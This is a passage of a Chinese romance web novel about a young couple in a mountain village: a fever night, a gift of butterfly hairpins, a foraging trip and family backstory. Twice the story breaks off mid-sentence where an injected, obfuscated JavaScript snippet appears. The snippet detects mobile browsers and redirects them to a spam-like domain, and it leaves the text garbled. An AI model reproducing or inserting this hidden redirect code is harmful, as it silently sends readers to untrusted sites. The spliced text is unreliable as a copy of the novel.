苏静蘅闭眼,双手在床上四处摸索,宁知序将自己的手递过去,她一把抓住,呢喃着问:“你怎么不抱着我?”
“啊?”
心脏又不受控制地狂跳起来。
宁知序悄悄偏过头,别扭地说:“这不太方便吧?”
“怎么不方便……”
苏静蘅低低地叹息一声,自言自语道,“娘……你怎么不抱着我……”
35. 低烧(三)
宁知序喉结上下滚了滚,听见她唤“娘”,松了口气,很快又有些失落。
原地呆了片刻,握住她的手说:“我陪着你,你安心睡罢,这一天你受累,我会一直陪着你的。”
苏静蘅还是叫“娘”,呢喃问他:“你为什么不抱我?为什么不抱我?”
“……”
真是……
宁知序犹豫一会儿,出门把她娘的牌位拿进来塞进她怀里,说:“这样行不行?你娘不抱你,你就抱着你娘……”
“……”
苏静蘅抱着牌位一动不动,宁知序看了看,叹息一声,还是将牌位从她手里拿走,搁在床头柜子上。
原地思量一番,他默不作声将外衫脱了,靠着床边躺下。
才睡下,旁边那人就迫不及待缠上来,宁知序身子僵了僵,感受着一团热火将自己包围,那人什么都不知道,抱着他嘴里念念有词:“娘,你怎么那么冷?正好,你让我抱抱,我现在热极了……”
灯火颤动之中宁知序看着旁边的牌位——
不行,有点心虚。
又起身匆匆忙忙将牌位收拾出去,顺便对着牌位磕了几个头,说:“娘——不,不对,唉,算了,就叫娘!我不是故意轻薄你女儿的,是她要人陪,要人抱!你老人家在天之灵,也舍不得她一个人躺在床上抱着一床被子独自忍受病痛折磨是不是?我去抱她了,你可千万别降雷下来劈我,我是无辜的!”
说完他回到房里,躺到苏静蘅边上,主动抱住她。
一团火热偎在怀里,刚用药汤擦过身子没多久,苏静蘅身上充盈着一股药香,丝丝缕缕钻入鼻腔,让本就有些紧张的宁知序心里更加躁动。
“奇了怪了,这药怎么闻起来这样怪,叫人身子发热——”
宁知序抱着她好半天,额头靠着苏静蘅脑袋,感受着她身上的温度,拧巴地说:“这可不是我非要抱你的,是你主动抱的我……我又不是神仙,哪能凭空给你变个娘出来,实在没法子才亲自上阵……”
“唉,算了,反正你也不知道,就是我主动抱的你你能把我怎么样?我就要抱,哼,我就要抱!”
苏静蘅听见声音虚弱睁眼看他一眼,这一看差点没让宁知序的心从喉咙里跳出来,好在她没什么反应,轻轻哼两声,闭上眼睛继续睡。
宁知序瞪大眼,听着胸腔里的心跳,轻骂一声:“这颗心怎么跳那么快?肯定是药的问题,不对——”
一阵阵剧烈如擂鼓的心跳声中穿插着不大明显的另一道心跳声,十分细微,不仔细分辨根本听不出来。
“你!”
宁知序倒吸一口气,刷的支起身子盯着苏静蘅看,“你、你、你醒着?”
“……”
苏静蘅喃喃,“娘……”
说着砸吧砸吧嘴,又钻进他怀里,声声模糊的呓语传进耳朵里,宁知序半信半疑俯身,只听她的呼吸声粗了些,再听不见那若有若无的心跳声。
“难道是幻觉?”
他揉揉耳后根,靠她近一点,依旧没听见那阵心跳声,这才放心,躺下继续抱着她。
他不敢抱她的腰,只能让她枕在自己的臂膀上,另一只手抚着她的背,听她说些撒娇的话,把他当作她娘,非叫他哼首哄睡的曲子。
他哪会唱歌?
一副嗓子叫唤起来难听死了,像偷偷在喉咙里养了头牛,没人会喜欢听他哼曲。
可这个时候他不哼又叫谁来哼?
梦里的娘会为她哼唱小时候的歌吗?
宁知序清清嗓子,回忆小时候母亲给他唱的曲,笨拙地学给她听。
“春色娇丽暖风暄,景物飘飘美堪怜。花开三月天,娇娆嫩蕊鲜。”
两人团在泠泠月色中,他声音有些沙哑,唱着,低头看她,听见她微微喘息声,耳朵直发痒。
继续唱道:“草萌芽,桃似火,柳如烟,燕语莺啼秋千绕,彩蝶舞袖花丛翩。”
心也跟着发痒。
“清明赏禁园,和风吹牡丹,玉楼人醉倒在杏花天,杏花天——”
苏静蘅清醒着,渐渐,眼皮子重重坠下,思绪跟着歌声飞走。
这一夜不太平,她果真又做梦了,梦里见了娘,还有宁知序傍在身边,一家三口喝一坛桃花酒,醉昏了头,她就偎在娘怀里,听宁知序给她唱曲。
唱草萌芽,桃似火,柳如烟。
唱玉楼人醉倒在杏花天。
-
第二日,雨后山里弥漫起大雾,屋后河面上盖着一层雾纱,苏静蘅醒来就满屋子找人,披着衣服屋前转一圈,灶屋里跑进跑出,没见到宁知序,扯着嗓子对着天空大喊:宁知序你在哪儿!“
屋后传来应声,她跑过去看,宁知序正在河边洗衣裳。
穿的是她替他缝补的旧衣,天青色,在飘摇的雾若隐若现,看见她来,立刻扔下木杵迎上去。
“你怎么穿这么少?”
看她只披一件轻薄的衣裳,宁知序气得不行,叫她赶紧回去再加几件衣服。
苏静蘅只是咧嘴笑,等宁知序摸摸她额头,疑惑问她:“你是不是发烧烧傻了?”
她说:“才不是。”
转头跑回家加了两件衣裳,再回来见他,同他一起蹲在河边。
鞋子底下沾满烂泥,她从地上捡一根树枝在捣衣砧上擦擦,用来剔鞋底的泥。
宁知序见了说:“你故意捣乱是不是!”
说着将捣衣砧上的泥点子抹掉。
苏静蘅心不在意,将脚底的泥剔干净,随手将树枝扔进水里,打了一个半的水漂,然后神秘兮兮地说:“我昨天晚上做了个梦。”
“哦?你梦见什么了?”
说到梦,宁知序不由得定住。
“我梦见我娘了!”
苏静蘅满脸欢喜地说,两手浸在河水里拨弄涟漪,看宁知序洗她换下来的那几件衣裳,不自在地拎起湿透的衣袖,抖抖,又放回去,然后道,“她说她过得也好,叫我不要担心她,我同她喝了酒,她说欢喜我,会守着我还唱了歌给我听。”
“唱的什么歌?”
苏静蘅照着她听到的调子哼给宁知序听。
他没想到她竟然能记得那么清楚,一个字不差将他昨夜唱的曲子都唱了出来。
宁知序说:“没听过。你记性真好,梦里的事情醒来还能记得这么清楚。”
“当然。”
苏静蘅双手捧着下巴,胳膊肘抵在膝盖上,歪头看他。
“你盯着我看做什么?”
宁知序用力捶打衣服,看她笑得灿烂,觉得浑身不舒服。
他总觉得这笑容里有另一层意思,湖面风轻轻吹,他赶紧说:“你快回去,不要再吹风了,锅里的热着的饭吃了吗?还有一副药待会熬给你喝。”
“啊……”
说到药苏静蘅面露难色。
那东西是人喝的吗?她的舌头真受不住。
“我想听你唱歌。”
她耍赖皮道。
“唱什么歌?”
“就我刚才唱的那首。”
“我不会。”
“我可以教你。”
“为什么一定要我唱。”
“因为我梦里好像也听见你唱了。”
“不是你娘唱的吗?”
“你们都唱了。”
宁知序说:“我不会。”
“我可以教你,我唱了我就喝药。”
“……”
宁知序跟她谈判,“你喝完我再唱。”
“成交!”苏静蘅说,“那你快些,我先去吃饭了,待会熬药,早点吃完你早点唱给我听。”
宁知序:“……”
一首歌而已,为什么这么兴奋……
他将衣服洗完,趁着天色好挂出去晾晒,苏静蘅在屋里乖乖吃饭,吃过饭自告奋勇帮忙熬药,很快灶屋里弥漫着阵阵药香,她不喜欢,干脆出去吹风,但没吹一会,又被宁知序推进屋里。
等药熬好了,凉了一会,鼓起勇气一口闷掉,虽然苦得几乎要掉眼泪,但为了自己的尊严,还是强装镇定,一口气吃了好几块桂花杏糕,然后跟宁知序说:“快唱!我要听!”
宁知序在局促不安中羞愤开口,随便唱了几句,音不成音,调不成调,唱完脸就像个熟透的柿子,谁料苏静蘅不仅没嘲笑他,反而夸他唱得不错。
他的脸于是更红,还故作没事地说:“行了,答应你的话我做到了,从现在开始你要听我的,不许贪凉,不随意喝冷水,不许不穿外衣就跑出来吹冷风,家里没什么事,今日你只在床上躺着休息就好,我在家陪着你。”
躺着?那多无聊!
苏静蘅现在小病初愈,昨夜烧了小半夜,今天起来不知为什么觉得自己身子特别轻盈,睁眼一直陷在兴奋里,感觉这几年脑子就没这么清醒过。
她想跑来跑去,上蹿下跳,上天入地,哇哇大叫,才不想躺在床上睡觉。
但是直接拒绝宁知序肯定不行,自己若是说“不”,他定要苦口婆心劝她,然后时时刻刻盯着自己,啰啰嗦嗦说一大堆话让她注意身子,多加休息。
“好,不过我想在外边透透气,倦了就回去歇着。”
檐下燕巢还未搭好,她哪都不去,就在门口看两只燕子时不时衔回干草泥土在房梁上动工。
宁知序要编鸡笼,他说等路晒干了就进城买几只鸡鸭回来,送两只给宋阿奶和元渺,她们两家昨夜帮了大忙,一定要好好谢谢人家。
今日编好鸡笼围好鸭圈,来日再搭个驴棚,就能把驴引回家了,顺带买个石磨,要小一些的那种,自家用就够了,要是实在忙不过来,还有村里的大磨坊能用。
至于驴,到时候暂先养着,若哪天磨坊扩建,说不定能送去磨坊做苦工,若是不需要,养着也费不了多少钱,他身上攒的那些东西够养两个人带一头驴了。
清早忙了一会儿,看着日头顶在东边山尖上,算算时辰,宁知序带着先前编好的竹篮背篓与苏静蘅绣的帕子去村子里,先送这些当做谢礼,顺便从宋阿奶那里拿些药。
回来准备做午食,苏静蘅给他打下手,吃饭的时候宁知序忽然想到在她屋里窗子下面看见的东西,便问:“你洗过衣服为什么不晾到外边?放在屋里晾不干,还容易有味道。”
“什么衣服?”苏静蘅疑惑。
宁知序放下筷子双手在腰间比划一下,说:“腰带吧,我看着像腰带。”
“没有啊,这些我都是晾在外边的。”
宁知序说:“那我看见的是什么?”
他十分疑惑,放下碗筷拽着苏静蘅进她屋里,然后指着窗户下挂着的月事带说:“就这个,嗯,好像确实和腰带有点不一样。”
苏静蘅感觉脑袋腾的一下炸了,宁知序还用手拨一拨,然后拿起她的月事带翻来覆去地看,道:“你这个上面的花纹真好看,什么时候给我也做一个?”
说着就往自己腰间围,苏静蘅眼疾手快抢过月事带,把他赶出去:“这不是腰带,不许问,走,去吃饭!”
宁知序觉得委屈。
怎么突然就急起来了?
不是腰带那是什么?他在宁府这么多年,也算比寻常百姓有见识吧,竟然还有他不知道的衣物。
好奇心上来却不能问,差点没把他憋死。
两个人回去吃着饭,中间李和薪端了碗鸡汤来,说是家里炖的,元渺叫他送来给苏静蘅补身子,一路拿布巾包着,送过来一点没凉。
东西送到后他破天荒地约宁知序进山,才下过雨,过几天菌子冒头,正巧多采些回家烧菜吃。
苏静蘅私心希望宁知序能答应,可他又知道他的性子,跟亲近的人在一起不拘小节,与不熟的人在一起却甚是腼腆。
她以为他会拒绝,然而李和薪问完,宁知序毫不犹豫就答应下来。
她以为自己听错了,连李和薪都没想到他会答应地这样干脆,挑挑眉梢,说:“既然如此,到时候我来找你,你莫要赖账爽约。”
“不会。”
第二日山路仍有些泥泞,到第三天晒了两天太阳才勉强能走路,宁知序一个人推车进城,依规矩先去瑞芳斋见齐惠,送
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15673314|167393||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
上帕子和竹篮器具,而后去药铺拿了些常用的药材备着。
本来应该直接去市上采买,谁知路过首饰铺时多看了一眼,里面公子小姐嬉笑声不断,他犹豫一阵,还是提步进去。
店掌柜见到年轻公子进店,热情围上来,没问他要买什么,先一通天花乱坠的夸奖砸在他脑袋上,宁知序没见过这样的架势,听得眼睛直发光。
等说了来意,是要为娘子挑一支发簪,不要太华丽,也不要太素,那店掌柜便笑呵呵地拿出一对花蝶簪给他。
粉白杏花上停着一只青玉蝶,蝶须上嵌着一对白珍珠,拿在手里随着动作晃动,看起来十分俏皮可爱,他一眼相中这对花蝶簪,问:“这怎么卖?”
掌柜的知道有戏,卖了一通关子,告诉宁知序这簪子工艺非凡,整个洛城只她一家售卖,且这簪子只有这一对,绝对不会在别的姑娘家身上看见一模一样的款式,说得宁知序恨不得立刻掏钱将簪子买下。
掌柜见他下了决心要买,终于伸出手比了个“八”,说:“八两。”
“八两?”
嘶——
宁知序愣住。
掌柜以为他是嫌这簪子贵,马不停蹄继续飙口水介绍。
八两银子这个价格确实有些尴尬,普通人家不会花八两银子买一只簪子,而富贵人家的公子小姐亦不会买这么便宜的簪子。
她看宁知序一身山民的装扮,看起来并不富裕,所以才把这簪子拿出来,因为这大约是能给他的最贵的簪子了,若是能卖出去最好,卖不出去,只能换更便宜的给他。
宁知序心里有些混乱,并非是不愿意买。
只是身为宁家二公子,小时候用的东西都是宁城最好的,后来即便落魄,受的也只是宁府里面的苦,不曾和宁府外边的百姓有交集,他对珠宝首饰这些东西的价值记忆还停留在小时候,上次进城将自己许久未用的发冠当掉还当了二十八两银子,连原价的二成都不到,这八两银子的簪子在他心里实在是配不上苏静蘅。
但时过境迁,从前的宁二公子再风光,那也是从前,现在作为一个普通人,八两银子是一个壮年长工几个月的收入,他不能再以宁家人的身份看待这八两银子……
“……”
算了,买了!
宁知序浅浅思考一下,还是二话不说掏出银子就要买。
败家就败家!
三叔给的那些钱在苏静蘅那里还没花完,这次进城她给自己拨了一两的款,用来采买家用,但他自己上次当的那二十八两还没花,花了八两还是二十两,这二十两就够他和苏静蘅用的了,这还要犹豫什么?当然是给她买啊!
掌柜的一看他突然如此豪横,呆在原地,倒是店小二反应快些,接过银子将掌柜的拍醒,然后说:“公子有眼光!咱们这对簪子还有一个配对的发冠,不知公子要不要瞧瞧?公子佳人成双对,玉簪配玉冠,戴着出去旁人都知道你们是一对!”
“发冠?”
宁知序闻言兴致十足。
掌柜的去柜子上拿下个木盒给他,里面的发冠和花蝶簪的样式不大一样,但是都是杏花蝴蝶花纹,勉强可以看出两个有点关系。
自己买不买无所谓,不过若是非说这俩是一对的话,他倒是也可以买。
“这个多少钱?”
“这个便宜,两个加起来一共十两。”
“行,我买了。”
宁知序干脆利落地掏钱,当场就将新发冠带上,走在路上觉得心情甚好,赛过神仙。
他觉得这二两银子的发冠比他那个原来值一百两银子的发冠还要好看。
啧,谁说贵就一定好了?
自己喜欢的才是最好的!
当了旧发冠,买一个新的,还有一对花蝶簪,这简直是赚大了。
宁知序高兴地直哼小曲,到市上买了鸡鸭,看了石磨,又采买了些其他家用物什,推着架子车往家赶,终于赶在天黑前到家。
他来不及安置鸡鸭,先把买到的发簪给苏静蘅看,跑到堂屋将装发簪的盒子放在身后,神秘兮兮地站在她面前,说:“我给你买好东西了,你猜猜是什么?”
“甜汤!”
“不是。”
“甜糕!”
“也不是。”
“那是什么?”
宁知序刷的一下将盒子拿出来放到她面前,说:“你快打开看看,不知道你喜欢不喜欢。”
只比巴掌大一点的盒子落在手上,啪嗒一声打开,里面躺着两只精巧的簪子。
苏静蘅愕然顿住,宁知序还在等她的反应,很快,她轻轻将发簪拿起来,小心抚摸,说:“你怎么给我买这个?不是去买鸡鸭的吗?”
“你不喜欢?”
“喜欢。”
很喜欢。
是她喜欢的样式。
“喜欢那就赶紧戴上。”宁知序着急上手,说,“来,我帮你戴。”
两只蝴蝶落在乌丝发间,苏静蘅那过镜子照一照,面容姣好的脸与发簪相映生辉,她扶扶发簪,眼睛里藏不住笑,抬头才看见宁知序头上的新发冠,道:“你这发冠也是新买的?也好看,很配你。”
“我这个是买你那个送的。”宁知序扯谎说。
“送的?我才不信。”
苏静蘅问他,“这对簪子你花了多少钱?”
“没多少。”
“‘没多少’是多少?”
“没多少就是——嗯,八十文。”
“你当我是傻子呢。”
宁知序傻笑一声,苏静蘅说:“你不说我就不问了,我很喜欢这个簪子,明天就带着去找渺渺玩,给她看看,她一定要夸。”
元渺说要跟她学习绣荷包,明天她就带着绣线绷子去找她。
宁知序明日也要跟着李和薪进山,这次不是在浅山,而是要往深一点去,他丝毫不担心,听了苏静蘅的话,说:“她如何夸奖,你一定要回来说给我听,明日我也要穿着你给我做的新行装去山里,到时候看看她和李和薪两个人说的话术一不一样,是不是夫妻两个心有灵犀一点通。”
36. 春三月(一)
日子步入三月中旬,宁知序跟着李和薪进山,此番见他携着弓箭,为自己也备了一副,不多问,接过放在筐里,李和薪见状,打趣他道:“宁公子竟还是捕猎的好手,看样子打小没少碰弓箭。”
“小时候学过一点。”
三岁识字背诗,五岁拉弓问剑,几年无所成。
宁知序知道自己一身半吊子的本领,在狩猎之事上比不过常住山间的猎户,但拉弓放出去几箭也能中一只两只鸟或者野兔,跟李和薪走在一起遇到野兽应该不至于丢脸要他护着,所以大大方方承认。
李和薪知道他是谦虚,道:“能教宁公子的一定非等闲之辈,有名师教导,你只学三两年大概也比寻常人家好。”
“什么寻常人家不寻常人家的。”
宁知序背好箩筐,“我们如今都是一样的,李兄莫要再以此取笑我。”
李和薪笑而不语,收拾好东西打头阵进山,宁知序紧跟其后。
带弓箭是为了防身,但路上若看见什么山鸡野兔有本事也能带回家加餐,两个人先在山外围转,随处捡些松菇地木耳。
宁知序会弓箭李和薪不稀奇,稀奇的是他进了山,对山里许多作物都异常熟悉,这儿瞧瞧那儿望望,翻一座山头认识好几种菌子,哪些能吃哪些不能吃,能吃的要如何做才美味,烧汤,清蒸还是红烧,每一种有什么样的做法,跟背菜谱似的从嘴里往外蹦。
“地木耳清热解火,有明目之功效,我娘子平日做绣花最伤眼睛,是该弄些回去给她吃,凉拌地木耳、地木耳炒鸡蛋、地木耳豆腐羹还有凉拌地木耳……这几日有的吃了,正好刚从市上买了些鸡蛋回来,今天就先做道炒鸡蛋和豆腐羹给她吃,那日三井婆婆送的酱还剩一些,正巧派上用场,增点味,她一定喜欢。”
“明儿做凉拌地木耳,后天……唉,后天的事后天再说。”
“至于松菇,也能做豆腐煲,那就明日做松树菌豆腐煲,后天拿这个做肉丝汤,明日除了凉拌地木耳,再做道腊肉素烧松树菌,加蒜末干辣椒爆香,她最爱吃辣,虽然平时管着她叫她不要多吃,但该过瘾的时候还是要给她过过瘾。”
“还有松树菌扣肉……啧啧,先这么些,也不能天天吃,过几天就该换换口味了。”
“……”
听他唠唠叨叨小声讲了一路,李和薪想起来,对他说:“你厨艺好,这事我听豆子说起过。”
“哦?他说我什么了?”
宁知序觉得李和薪没说实话,那小子一定在背后说自己的坏话。
他们两个的仇还没完呢,敢觊觎他娘子,上次只是和他玩玩,下次见面要还是那样,他一定对他不客气。
以大欺小,呵,他不怕被人说闲话,有些小孩就是欠教训,你不对他狠点他压根不长记性。
“他说你做菜好吃,连炒盘辣椒都色香味俱全,他想拜你为师,学点真本事。”
“……”
宁知序默了默,不相信,“真的?他真那么说?”
“真的,他还叫我别告诉你,这事他还没想好要怎么跟你说。”
李和薪说着,也有些沉默,然后叹一口气,说,“他爹娘做饭很难吃。”
不是一般的难吃,是那种揭开锅梁上的老鼠会被吓跑,隔壁的狗会被味道冲晕,三岁小孩会被吓哭的那种难吃,连米饭都煮得不是太好。
两口子做饭本着一个想法:能吃且吃不死人就行,所以从豆子记事开始,吃的就是人不人鬼不鬼的东西,到了狗都嫌的年纪,他在村子里到处乱窜,有时候被邻居留着吃饭,尝到另外一种味道,就各种耍赖皮非要跟着学。
到现在虽然也没学到什么真本事,煮饭的水平却比他爹娘高很多,还会做些简单的家常小炒。
不过这些日子他似乎拐到另一个歪路里去了。
去年年底进城一趟,他爹娘破例带他到酒楼里吃了一顿,挑最便宜的点,没想到把他吃得美翻了,回到家整日喊着要做一点“新”的东西出来。
为了追求这一点“新”,豆子前前后后闯下过很多不大不小的祸,他爹娘管教孩子的方法粗暴简单,在气头上把他骂一顿打一顿,干脆不让他进灶屋,他没办法,只能烧野火做野餐。
柴米油盐都是从家里偷的,村里的场上没人,他就到场上烧,场上有人,就找个没人的犄角旮旯烧,最近追求极致的酸甜苦辣,做出来的东西简直叫一个惨不忍睹,李和薪觉得他确实应该找个师父好好学,有人带着总比一个人瞎摸索的好。
也并非他好心,只是那小子做了什么稀奇古怪的东西找人试吃总是第一个想到他,他不吃就送给元渺品尝。
这不是在害人吗?
他怕有一天他把他娘子毒晕了,现下天不怕地不怕的豆子心里竟然有了崇拜的人,当然要劝宁知序接受他。
宁知序听他说了些豆子的事,等他望过来,立即冷哼一声:“徒弟,我不收,但儿子,我认!上次比赛他输了,代价就是认我当他爹,那个胆小鬼一句话不说就跑了,呵,等他哪天心甘情愿叫我一声爹,我可以教他些东西,毕竟老子教儿子,天经地义。”
“他得罪你了?”
李和薪听他语气里带着火,忍不住问。
“嗯哼。”
“怎么得罪你的?”
“他喜欢我娘子,”
李和薪:“……”
这仇确实有点大。
“他亲口跟你说的?”
“嗯哼。”
而且还是当着他的面挑衅他。
李和薪呆住。
那小子怎么连这种话都说得出口,真不怕回去被他爹娘打。
“不过师父也是父……”
李和薪欲言又止。
“可师娘不是娘啊。”
宁知序很警惕。
谁说徒弟不能娶师娘了,等他归天了,谁还认苏静蘅是豆子的师娘,到时候他乘虚而入那就不好了。
“那干娘也不是——”
“干娘就是娘。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15686334|167393||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>宁知序义正词严地说,“而且如今有李兄做证,日后等我归天了,那小子要是敢以上犯下,你替我行父之责,帮我教训他。”
“宁公子说笑了,你福与天齐,怎会死呢?”
“……”
宁知序蓦地沉默下来。
半晌,开口嘟囔道:“没想到你也这么说,这段日子倒是听了不少好话,我差点就要信了——”
话落,林子里传来窸窸窣窣的声音,两人心猛地提起,瞬间朝着山林深处望去,看见远方树木晃动,似乎有几个影子从中间走过,两人皆不约而同拿出弓箭,指着林叶颤抖之处。
不一会儿,那几个影子越来越近,眯眼一看,是几头健硕的野猪。
两人几乎将弓弦拉满,不作声,就这样僵持着,看那几只野猪并没有要攻击他们的样子,小心翼翼等它们路过。
野猪味太大,即便是杀了处理起来也很麻烦,它们不攻击人,不如放他们离开。
所幸大的带着小的,并没有多停留,那几抹黑影消失在林中,两人不约而同松一口气,放下弓箭继续行路。
宁知序捡菌子只为了回家给苏静蘅煲汤做菜,李和薪则是为了拿去城里卖,路上见到能吃的野菜也采一些,中间一人打了只野兔,小半天背上的箩筐便已经塞满了东西。
幸运的是除了一开始那几头野猪他们没碰见其他的野兽,回程路上又捡了些菌子,除了一开始遇见的地木耳松菇,还捡了些羊肚蘑,宁知序已经在心里盘算着要怎么处理这些菜,走到山外围,不多时就要到家,忽然想起来昨天和苏静蘅的事,连忙向李和薪请教:“对了,我有一件事正要请教李兄。”
“什么事?”
宁知序便将昨天拿苏静蘅衣服,被她呛了一句的事告诉李和薪,问:“我娘子也不知是怎么了,好好说话不行问她也不说是什么,非要冲我一句……”
李和薪听完沉默了一会儿,然后问:“宁公子平日在宁府不曾与女眷亲近?”
女眷?
宁知序摇头:“没有。”
倒是与几位年纪大的嬷嬷有些交情,但交流也不算多,十天半月搭一次话吧,其余时候只跟石列还有厨子柴工说话。
李和薪若有所思地点头,然后面不改色道:“那是你娘子的月事带,没事不要当玩具玩。”
“……”
周围一瞬间安静下来,宁知序没什么反应,反倒是李和薪倒吸一口气。
他从来没见过有人脸红得这么快这么明显。
一大抹红色肉眼可见从脖子一路冲到头顶,若是天冷些,估计就能看见他头顶冒热气了。
宁知序像一块刚融化的冰块,从坚毅到柔软,僵硬地挪动脚步,说:“哦,知道了,怪不得呢,你说这有什么不好说的,真是,这不能怪我,她也不说清楚……”
李和薪见到他的糗样,摇头轻笑:“宁公子有些事情还是要好好学啊,你若是开不了口,问我或者问我娘子都行,我们都愿意为宁公子出一份力。”
37. 春三月(二)
苏静蘅回家时宁知序已经做好饭菜煮好菌汤坐在灶屋门口等她,等她进屋将东西放好,宁知序便已舀了一瓢水站在檐下等着为她洗手。
苏静蘅撸起袖子,水瓢稍倾,澄澈冰凉的水浇在她手上,随意搓两下,一瓢水泄尽,她跟着宁知序进屋,闻着满屋香味,肚子适时发动起来。
不争气的声音传进宁知序耳朵里,他两眼微弯,说:“不是带了点心去的吗?没吃够?”
苏静蘅叹气:“点心呀,分给大家吃了,我等着回家吃你做的饭呢。”
她已经适应这种衣来伸手饭来张口的日子。
每天早上吃完饭就想中午吃什么呢,中午吃完就想晚上吃什么呢,晚上吃完又想明天早上吃什么呢。
人生大事,唯食而已。
上午将点心分给元渺李良月还有几位婶婶嫂子,她自己一块都没吃,想着反正中午有好吃的,那些点心她吃与不吃都没关系。
回到家果然看见十分丰盛的午餐,颇得安慰,对着白米饭狼吞虎咽,宁知序说:“慢点吃,小心噎着。”
话音刚落,她果然被噎着。
猛灌了两口水,好不容易把喉咙里卡着的东西顺下去,之后不敢再吃那样快,只能小口小口吞咽。
边吃,边想着上午的事情,跟宁知序说:“今日教渺渺绣鸳鸯,看见良月姑娘也在,就邀她和我们一块儿玩,可她不愿意,扛着锄头就走了,渺渺说得对,良月姑娘果然比山里的泉水还冷,谁找她说话她都不搭理,后来我以为今日又见不到她了,谁知道没一会儿她回来,拿了件衣服给我,问我能不能帮她缝个好看些的花纹,可以给报酬给我。”
苏静蘅说到这儿笑起来,“她只是看起来冷,其实心里挺热乎的,那件衣服已经很破了,从前也缝过,就是缝得不大好,我帮她把衣服缝好,还绣了点桃花上去,她很喜欢,要给钱给我,但我没要,只叫以后遇见麻烦她能帮帮我们,比如遇见被村里人为难这样的事,有她在我们就不用怕了。”
“你很喜欢李良月?”
苏静蘅笑着,没说话。
打看见李良月的第一眼就喜欢,她觉得自己就该长那个样子——生长在山间,日日在太阳底下晒着,皮肤要晒得黑黑的,每天干一些力所能及的重活,有一双健硕的手,看人不必笑,也不必不笑,自己想怎么样就怎么样。
就连李良月那条粗粗的辫子她都喜欢,系一根红头绳就很好,比自己费尽工夫收拾的还漂亮。
她因为自己没长成李良月那个样子而对她羡慕至极,只要她一出现在自己的视野里就忍不住看她,这时候打定了主意从明天开始也要梳一条辫子,系一根红头绳,跟宁知序说了,他问:“你的人生里除了我和元渺姑娘,又要多一个喜欢的人了?”
“你说得这叫什么话。”
苏静蘅说,“我喜欢的人多着呢,除了你,元渺,良月姑娘,我干娘,村子里的人除了李仁,还有李子,那天卖我们架子车还有笔筒的兄弟,还有风雅斋的店小二,我都挺喜欢的。”
宁知序点头。
知道了,谁对她好她就喜欢谁,连路人都算上了,还真是博爱。
“不过这些人里,我现在最喜欢的是你。”
“嗯。”
宁知序嘴角提了提,他做了这么多,要是在她心里排不上前三,那不如一头撞死得了。
“今日阿眉婶婶也来跟我说话,她没什么事,身子也好些了,那天的事我不跟她计较,跟她说叫她也别放在心上,不知她有没有听进去。”
看她家男人没把她怎么样苏静蘅才放心,代眉带着孩子诚心诚意跟她道歉,邀请她去桃花宴,这事也是村里的意思,苏静蘅顺水推舟应下,也叫她心里舒服些。
冤有头债有主,苏静蘅可怜代眉的遭遇,不忍心跟她说太重的话,而且跟其他几位婶婶在一起聊天的时候,代眉始终安安静静地在一旁听着,嘴角噙着笑,很有耐心地看她。
若不是那天宁知序挨了她一顿推搡,苏静蘅因此对她有些偏见,不然按规矩她见到她应该会很喜欢她。
“可惜了。”
说到这儿苏静蘅摇头叹气,别人家的家事她插不了手,唏嘘一阵,同宁知序说:“你知道宜村吗?”
“宜村?”
宁知序用力扒饭,闻言从碗里抬起头,道,“好像……”
“就是之前总听她们说起的地方,我以为是个和桃花村一样的村子,可今天兰芳婶婶跟我说了,宜村和桃花村不一样,那不止是个村子,更像个镇,比我们桃花村大十倍不止,宜村有酒坊,有绣坊,有书院,能做些简单的交易,跟洛城比一点不差,从我们这儿到宜村比到洛城近一些,也不需要像进城那样办文书,所以村里人有什么事不往城里去,而是去宜村。”
酒坊就是昌老伯说的那个,听说那儿的酒也往洛城供,接过醉香楼天香院的单子,但是在宜村卖得比洛城便宜。
苏静蘅心想这样好,她现在在洛城没有什么可以惦念的,除了去见干娘,以后有什么需要可以去宜村。
兰芳婶婶看了她的刺绣,问她为什么不进洛城的绣帮,依她的手艺,在绣帮里找个活做应该不难。
她不知道她家之前发生的事,元渺对此也很好奇,苏静蘅没多隐瞒,将当年的事说了出来。
“她们问我为什么不去绣帮,我就告诉她们因为我年轻气盛,不喜欢他们,不愿意去,归宁那次你是不是也听到我家隔壁林大娘说的话了?她说得不对,但有一件事是对的,我娘被一个色鬼缠上了,那色鬼是绣帮东家叶大掌柜的女婿,姓王,叫王免。”
“叶大掌柜在当地颇有名声,他女儿人不错,与我娘交好,只可惜招了个人品不好的相公,那个王免背着叶娘子整日在外边沾花惹草,那日就惹到我娘身上去了。”
“我娘把他骂了一顿,一开始为了叶娘子和她的交情迟迟不敢把这件事告诉她,可他后来还来找我娘,拿这件事要挟我娘,我娘就不忍了,找到叶大掌柜摊牌,她不想掺和进他们的家的事,又以为叶娘子会因为这件事跟她不好了,所以一气之下干脆提出离开绣帮,叶大掌柜没说什么,结了工钱放我娘离开。”
宁知序也是第一次听她说那件事,她为这件事感到可惜,又直言自己是个暴脾气,宁愿受苦死掉,也不愿意服软认错。
“我娘离开绣帮没多久王免就死了,听说是酒喝多了掉下水淹死的,叶娘子来找我娘,叫我娘回绣帮去,可自那件事之后我娘身子一直不大好,先和叶娘子说了修养一阵等养好身子再回去,谁知道没等养好我娘就病死了。”
“久病成疾,我知道我娘不止为这一件事伤心,也知道叶娘子
